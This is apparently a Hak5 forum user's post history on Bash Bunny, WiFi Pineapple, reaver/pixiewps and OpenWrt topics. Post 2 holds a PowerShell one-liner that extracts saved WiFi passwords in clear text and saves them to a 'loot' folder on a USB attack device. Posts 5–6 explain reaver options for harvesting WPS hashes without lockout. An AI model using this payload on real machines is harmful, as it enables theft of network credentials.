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DataHead

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  1. I had drilled a few little holes on the vertical USB side of the casing. It stays a bit cooler. It still heats up a fair amount but nothing at all like before.
  2. this is old, but.. does the following work for you? $'$Bunny = (gwmi win32_volume -f \'label=\'\'BashBunny\'\'\' | Select-Object -ExpandProperty DriveLetter) (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-File $Bunny\loot\WiFiCreds\WiFi.txt' Dollar qoutes $' ' for this purpose should
  3. The version that comes stock in kali 2.0 is not the latest. I have no clue why upon kali 2's release, they chose to use a rather old version. The current version IIRC also credits wiire & kib0rg in the help output ( and maybe some others )
  4. Ive made documentation available in the help when it was implemented. I would assume you have not compiled the latest from the github repo
  5. In the middle of last year or so, i had put in the option -H to reaver, save the information to a (bssid).pixie file, which in turn is executable as a bash script that contains a full command for pixiewps. Though not as feature / option rich as your program, maybe you can take advantage of the already in place feature? Great work! Keep it up
  6. Avoid a lockout in reaver ( our modified fork on t6x github ) with -P option. It will loop upto m4 message. Which in return never fully pins the target ap, but just collects all the pertinent hashes for pixiewps.
  7. Nice to see it! Cant wait to get some goodies built and running on this bad boy! >:)
  8. It is an opensource platform. Yes. However, They do have their own closed source applications. could you be a bit more specific about what you are trying to accomplish?
  9. I don't give a crap who you are, this... Is... exciting!!! I want to see what this deliciously sexy beast is, and what it's all about! I Demand more of this nerd porn!!! Maybe that's a bit too far.. but I can only imagine what this doodad is, what it features, improvements etc. Something with a nice design like that, screams goodness :-) can't wait to hear all about it!
  10. Eh, no. Not any.. It will have to be cross compiled. It needs to be the same architecture configuration i have cross compiled version 3.8.1 ( not sure if you require the lower version, nor do i know if any is avail on the repos ) just after you download it, rename the .zip extension to .ipk. as the forum restrictions do not accept files with the .ipk externsion. logrotate_3.8.1-1_ar71xx.zip EDIT: screw it, here's 3.9.1 and 3.7.1 logrotate_3.9.1-1_ar71xx.zip logrotate_3.7.1-1_ar71xx.zip
  11. I had to... Now, I'm sure there will be info on the stock soon, I think Darren tweeted along the lines of the 16th there MIGHT be some updates written to us of the supply.
  12. The NEH is not supportive of 5ghz. It supports 2.4ghz wireless-n, but is not 5ghz. Also, remember that 5ghz will not travel as far as 2.4ghz can. but 5ghz supportive, will give a better connection experience.
  13. Eh, mileage with the NHA varied on my tests. It seemed way less stable on Linux distros, and plenty others have reported the same. But its different for everyone. Can you post a dmesg log, preferably right after it gets disabled? What is the power ratings of the power supply you are using for the pineapple?
  14. I also agree, it's been stated before they are made in a factory. Yes, hak5 is a small team, but its amazing what just a few people can accomplish. And a new 3.0 firmware? What are your sources for this statement?
  15. It did say from defcon, which maybe there are some defcon gadget collectors. But even still, I looked at prices other pineapples are going for, and the just with a pineapple and the AWUS036NEH adapter sold for near $300 on ebay. And seen a mkv with no antennas, no sdcard and no power supply, sell for $200.
  16. If all else fails, check out http://wiki.openwrt.org/doc/uci/wireless Specifically the options, macfilter and maclist
  17. Does the user infusion "connected clients" ( I think it's called ), have options to prevent clients from connecting? if I remember correctly, it does.
  18. I do see that, yes. Though not recommended or supported to use IE, i had seen that the "show" link should be "hide" if he did click it and it was properly functioning ( doubtful because as you stated, is broken ), in case he does go to another browser, and has the same problem.
  19. This may be a bit far fetched, but did you click the "show" links? I ask because https://forums.hak5.org/index.php?/topic/36191-support-pineapple-bar-infusion-problems/
  20. Maybe the FCC shit has them in a panic / frenzy?
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